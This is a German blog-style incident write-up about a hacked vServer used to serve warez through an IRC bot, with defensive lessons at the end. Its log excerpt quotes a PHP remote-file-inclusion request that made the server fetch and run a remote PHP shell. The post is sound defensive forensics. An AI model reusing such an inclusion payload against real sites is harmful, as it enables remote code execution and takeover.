Ab und zu erwischt's einen einfach. In diesem Fall einen Bekannten von mir. Da der Vorfall recht schön einen "Standardfall" darstellt und man daran einige "best practices" festmachen kann, erzähle ich mal, was passiert ist.
Der Rechner, um den es ging, war ein vHost bei einem Günstighoster, auf dem ein Webserver eine Handvoll Domänen von Freunden und Bekannten lagen. Alles fing damit an, daß vom Provider eine Mail kam, daß es möglicherweise Probleme mit dem monatilchen Trafficlimit geben könnte...

Der Provider teilt wohl das Monatslimit auf die einzelnen Tage auf; liegt ein Tag deutlich über dem durchschnittlichen Tagespensum, verschickt er einen Warnhinweis. In diesem Fall wären innerhalb eines Tages 16 GB Traffic verbraucht worden, was bei gleichbleibendem Trend zu einer leichten Überschreitung des Quotas führen würde.

Suche nach Indizien

Die erste Frage: Ungewöhnlicher Traffic-Peak oder liegt tatsächlich etwas im Argen? Die Logauswertung des Webservers ergab einen Traffic von ca. 2 GB für den Tag - auch eine stattliche Menge für einen Privatserver, aber deutlich unter dem angeblichen Verbrauch. Irgendetwas war definitiv merkwürdig.
Zweite Frage: Agiert die Kiste als Mailserver? Wurde hier Spam verteilt? Nein, die Domänen hatten MX-Records, die auf einen separaten Mailserver verwiesen, und der lokale Maildienst wies keinerlei Anomalien auf.
Dritte Frage: Was sagen die restlichen Logs (System-Log, lastlog, etc.)? Hier fand sich nichts ungewöhnliches.
Vierte Frage: Welche weiteren Einfallsschneisen gibt es? Die Frage wurde mit einem
lsof -i -n -P | grep -i listen (Auflisten aller Prozesse, die an irgendwelchen Ports lauschen)
beantwortet. Neben dem Apache-Prozeß (http und https) fand sich hier eine ganze Menge mehr: Auf mehreren 8000er-Ports tummelte sich das Admin-Interface des Webhosters (ohne Virtuozzo oder Plesk bekommt man wohl keinen vServer mehr...); zu allem überfluß verriet ein "TCP *:3306 (LISTEN)", daß der MySQL-Server nicht nur lokal, sondern auch von außen erreichbar war.
Da solche Angaben innerhalb eines potentiell kompromittierten Systems alles andere als zuverlässig sind, warfen wir einen Blick "von außen" mittels nmap auf die Maschine - allerdings ohne neue Erkenntnisse.

Gefunden!

Was sorgt für viel Traffic, wenn's kein Spam ist? Richtig: Warez, Moviez und ähnliche z-Wörter. In der Hoffnung, daß kein Kernel-Modul das entsprechende Verzeichnis versteckte, lautete der nächste Versuch:
find / -size +20000k
Das förderte einige große Logfiles zu Tage - und eine 2 GB große Datei mit einem sehr markanten Namen (leicht modifiziert):

/usr/src/packages/RPMS/i386/\ \ \ /.../.ssh/
Recent.Game.Title-part1.tar

In dem kuriosen Verzeichnis (offensichtlich hatte sich jemand Mühe gegeben, das ganze vor oberflächlicher Kontrolle zu verbergen) fanden sich zwei weitere Dateien: Ein Perl-Skript mit einer generischen Backdoor (welches aber augenscheinlich nicht lieft), sowie ein Binary; letzteres hatte die Funktion (so jedenfalls der Hilfetext - strings sei dank), den Name eines Prozesses in der Prozeßliste zu manipulieren. Die Anzeige mit ps auxw würde also nichts auffälliges zu Tage fördern. Aber vielleicht war das interessante tar-File gerade geöffnet:
lsof | grep Recent.Game.Title
förderte zu Tage, daß (vermeintlich) ein Prozeß Namens httpd2-prefork die Datei geöffnet hatte. Sehr unwahrscheinlich, daß der Apache die Datei im Zugriff hatte - die Apache-Configdateien hatten wir bereits überprüft und keine Veränderung festgestellt. Aber wir hatten ja nun eine Prozeßnummer... ein Filesharer gleich welcher Art ist ziemlich überflüssig, wenn er nicht mit dem Rest der Welt redet. Also sahen wir nach, mit wem dieser Prozeß in Verbindung stand:
lsof -i -n -P | grep <em>pid des prozesses</em>
Neben einem "TCP *:80 (LISTEN)" und einem "TCP *:443 (LISTEN)" brachte die Liste drei offene Verbindungen zu Tage - unter anderem zu einem Rechner in Italien auf Port 6667. Offensichtlich wurde dem Rechner ein IRC-Bot untergeschoben, der (genretypisch) in einem paßwortgeschützten Channel die Datei per DCC zum Download anbot. Weitere Details über den IRC-Bot konnten wir leider nicht in Erfahrung bringen, da das Programm nach dem Start gelöscht worden war.

Wie kam es dazu?

Die beiden LISTEN-Ports des IRC-Bots wiesen darauf hin, daß es sich um einen Fork des Apache-Prozesses handeln mußte - alle anderen Prozesse hätten diese Ports nicht mehr öffnen können, da sie bereits vom Apache in Verwendung waren. Also mußte es sich um einen Web Exploit handeln.
Der erste kurze Schreck kam vom Ort des Verzeichnisses: /usr und darunterliegende Verzeichnisse gehören root und sind für andere Nutzer normalerweise nicht beschreibbar. Alle Verzeichnisse unterhalb von /usr/src/packages gehörten zwar root, waren aber für alle beschreibbar und mit dem Sticky-Bit versehen (wie bei Temp-Verzeichnissen üblich). Eine kurze Recherche klärte das Mysterium: Diese Einstellung ist SuSE-spezifisch und wird dort bei der Installation schon so eingerichtet. Aha...
Ein kompromittierter Rechner muß in 99% aller Fälle komplett neu aufgesetzt werden. Da wir aber nicht dieselbe Lücke wieder mitinstallieren wollten, mußten wir noch herausfinden, wo das Problem gelegen hatte.
Die "merkwürdigen" Verzeichnisse waren auf den 26.11. um 14h datiert. Vermutlich wurde um diese Zeit der Rechner kompromittiert. Per grep suchten wir die entsprechenden Einträge aus dem Apache-Log heraus (welches glücklicherweise für den nämlichen Zeitraum noch vorhanden war). Da wir nicht etliche tausend Logzeilen von Hand durchlesen wollten, suchten wir nach zwei üblichen Verdächtigen: Directory traversal und PHP URL fopen.
Die Suche nach ersterem (Typische Zeichen in der URL: %20, ...) blieb ergebnislos. Bei zweiterem (Suche nach "=http://") wurden wir fündig:

/log/file/name: 82.107.xxx.xxx - -
[26/Nov/2006:14:xx:xx +0100]
"POST /index.php?link=4
&galerie_link=http://www.compromisediste.ca/images/ima.txt?
&prod=66 HTTP/1.1" 200
(...)
Aus dem Name der Logdatei wurde klar, welcher virtuelle Host - und damit welche Software der Schuldige war. Ein Freund meines Bekannten hatte hier sein Weblog, und hatte eine bekannte Lücke nicht gepatcht. Und offensichtlich war allow_url_fopen für PHP erlaubt, auf diese Weise wurde von www.compromisedsite.ca die Datei ima.txt nachgeladen und scheinbar als PHP-Source ausgeführt. Der Rechner war immer noch erreichbar: Hinter ima.txt steckte die PHP-Shell "R57", eine höchst komfortable "Admin-Konsole"... auf diese Weise waren wohl die weiteren Dateien ins System eingeschleppt worden.

Nachdem dies geklärt war, machte sich mein Bekannter daran, die Daten zu sichern und die Maschine neu zu installieren.

Lessons learned

Traffic-Kontrolle (und andere Logfiles): Logfiles sind wichtig - aber man muß sie auch lesen! Stark ansteigender Traffic ist häufig ein Indiz dafür, daß etwas nicht in Ordnung ist. Aber um dies feststellen zu können, muß man zunächst einmal wissen, was "normal" ist. Ein sporadischer Blick in Logfiles und Statistiken ist hierfür unerlässlich. Nur so kann man ein Gefühl dafür bekommen, was auf einer Maschine normal ist und was nicht. Und nur mit Hilfe der Logfiles konnten wir die Einfallsvektor für den Einbruch finden, welcher ja schon drei Wochen zurücklag.
Nur öffentliche Dienste nach außen anbieten: Alles andere ist nur eine unnötige Flanke! Der mysql-Server war in diesem Fall zwar nicht betroffen, jedoch setzt man sich so einem unnötigen Risiko aus. Der mysql-Port sollte an 127.0.0.1 gebunden werden - so können nur lokale Programme darauf zugreifen.
PHP-Todsünden allow_url_fopen, register_globals: PHP unterstützt den Programmierer leider nur wenig dabei, sichere Programme zu schreiben, und einige Kernentwickler von PHP sind scheinbar nur wenig einsichtig, wenn es daran geht, dies zu ändern. Aber die beiden bösesten Fallen (allow_url_fopen und register_globals) sollte man unbedingt abklemmen. PHP-Skripte, die ohne diese Einstellungen nicht mehr laufen, sollte man ohnehin in den Abyss der Webskripte verbannen.
Updates, Updates, Updates...: Und nochmals Updates. Sie sind die halbe Miete. Es ist wichtig, sich auf den Announce-Mailinglisten installierter Software zu subscriben, um so über Sicherheitsupdates informiert zu werden. Daß man Sicherheitsupdates der verwendeten Distro zeitnah einspielen sollte, versteht sich von selbst.
Statischer Kernel: In diesem Fall hatten wir in sofern Glück, daß es kein root exploit war. Dadurch war alles mit Bordmitteln aufspürbar. Sollte der Angreifer Rootrechte erlangen und der Kernel modular kompiliert sein, so kann der Angreifer sehr einfach durch Nachladen entsprechender Kernelmodule Prozesse und Dateien vor den Augen des Admins verbergen. Mit einem statischen Kernel geht dies zwar auch noch, jedoch ist das bedeutend schwieriger.
Rechner unattraktiv machen: Hier ging es um das Verteilen von Warez, nicht um das vollständige Komrpomittieren eines Rechners. Dieser Schlag Leute sucht per Google nach verwundbaren Rechnern - wovon er typischerweise reichlich findet. Funktioniert die installierte Backdoor aus irgendeinem Grund nicht, ziehen diese Leute weiter zum nächsten Opfer - das geht schneller, als mühsam nach dem Grund des Nichtfunktionierens zu suchen.
Sinnvoll wäre für den beschriebenen Rechner eine iptables-Firewall, die wie folgt konfiguriert ist:

Dies ist natürlich keine 100%ige Lösung: Erlangt der Angreifer Rootrechte, kann er die Regeln deaktivieren. Backdoors, die über UDP kommunizieren, werden von diesen einfachen Regeln nicht erfaßt (da müßte man sauber nacharbeiten - und aufpassen, daß man nicht wichtige Dienste wie DNS ebenfalls abklemmt). Aber es macht es dem Angreifer schwieriger, sein Ziel zu erreichen - und häufig suchen sich diese Leute ein anderes Opfer, anstatt mit viel Aufwand tiefer zu bohren.
Obendrein empfiehlt sich der Einsatz eines Programms wie z.B. denyhosts, welches ssh-Bruteforce-Scans erkennt. So werden Versuche, Paßwörter durch Ausprobieren zu finden, recht effektiv blockiert.